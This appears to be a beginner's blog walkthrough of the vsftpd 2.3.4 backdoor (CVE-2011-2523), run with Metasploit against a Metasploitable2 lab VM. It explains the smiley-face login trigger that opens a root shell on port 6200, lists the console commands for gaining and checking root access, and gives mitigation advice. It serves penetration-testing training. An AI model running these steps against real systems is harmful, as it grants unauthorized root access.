            <content:encoded><![CDATA[<p><em>A beginner-friendly guide explaining the vsftpd 2.3.4 backdoor vulnerability on the Metasploitable2 lab environment.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ua1ULzQhWy7JUEvL.png" /></figure><h3>Introduction</h3><p>VSFTPD (Very Secure FTP Daemon) version <strong>2.3.4</strong> is a well-known case in cybersecurity training. In 2011, the source code tarball was compromised — someone injected a malicious backdoor into it before it was distributed, and it ended up on several systems that downloaded it. This vulnerability is still widely used today in intentionally-vulnerable practice VMs like <strong>Metasploitable2</strong>, so that beginners can get hands-on experience with real exploitation.</p><p><strong>CVE Reference:</strong> CVE-2011–2523</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this demo on your own lab environment (like a Metasploitable2 VM). Running this exploit against any third-party system without permission is illegal.</em></blockquote><h3>How the vulnerability works</h3><p>The backdoor trigger is simple — if someone attempts an FTP login with the username field containing &quot;:)&quot; (a smiley face), the backdoor code activates and the server starts listening for a root shell on <strong>port 6200</strong>. An attacker can then simply connect to that port and get direct root access.</p><p>The Metasploit module exploit/unix/ftp/vsftpd_234_backdoor automates this entire process.</p><h3>Step-by-Step: Running the Exploit in Metasploit Console</h3><h3>1. Start the Metasploit console</h3><pre>msfconsole</pre><h3>2. Load the exploit module</h3><pre>msf &gt; use exploit/unix/ftp/vsftpd_234_backdoor</pre><p>This loads the vsftpd 2.3.4 backdoor exploit module into the Metasploit framework.</p><h3>3. Check available options</h3><pre>msf exploit(vsftpd_234_backdoor) &gt; show options</pre><p>This displays the required settings such as RHOSTS (target IP) and RPORT (default 21).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/0*3tV4CV4a4fAwoTre.png" /></figure><h3>4. Set the target IP</h3><pre>msf exploit(vsftpd_234_backdoor) &gt; set RHOSTS 192.168.20.135</pre><p>Replace this with your actual Metasploitable2 VM’s IP — you can check it inside the VM with ifconfig or ip a.</p><h3>5. Run the exploit</h3><pre>msf exploit(vsftpd_234_backdoor) &gt; exploit</pre><p><em>(Note: the correct command is </em><em>exploit — </em><em>run is just an alias for the same thing.)</em></p><p>If the target is vulnerable, the backdoor triggers and you get a root shell.</p><h3>6. Manage sessions</h3><pre>msf exploit(vsftpd_234_backdoor) &gt; sessions</pre><p>This shows active sessions — i.e., whether the exploit was successful or not.</p><p>Useful sub-commands:</p><p>Command Purpose sessions -l List all active sessions sessions -i 1 Interact with session ID 1 sessions -k 1 Kill session ID 1</p><h3>Verification</h3><p>After entering the session, if running whoami returns root, that confirms the exploit succeeded and you now have root-level access.</p><pre>whoami<br># Output: root</pre><h3>Mitigation (How to prevent this in the real world)</h3><ul><li>Always download vsftpd from official, trusted sources — never from unverified mirrors.</li><li>Verify file integrity checksums (MD5/SHA) after downloading.</li><li>Keep software updated and regularly apply security patches.</li><li>Use network segmentation and firewall rules to limit unnecessary exposure of FTP services.</li></ul><h3>Conclusion</h3><p>The VSFTPD 2.3.4 backdoor is a classic example of how dangerous a supply-chain attack can be — a single compromised source tarball affected thousands of systems. This lab exercise is a great starting point for beginners to understand the basic Metasploit workflow: select module → set options → exploit → handle session.</p><p><em>If you’re preparing for eJPT or OSCP, this module is a must-try exercise on your own Metasploitable2 lab.</em></p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the <strong>VSFTPD v2.3.4 Backdoor (CVE-2011–2523)</strong> and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fb6c62165b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>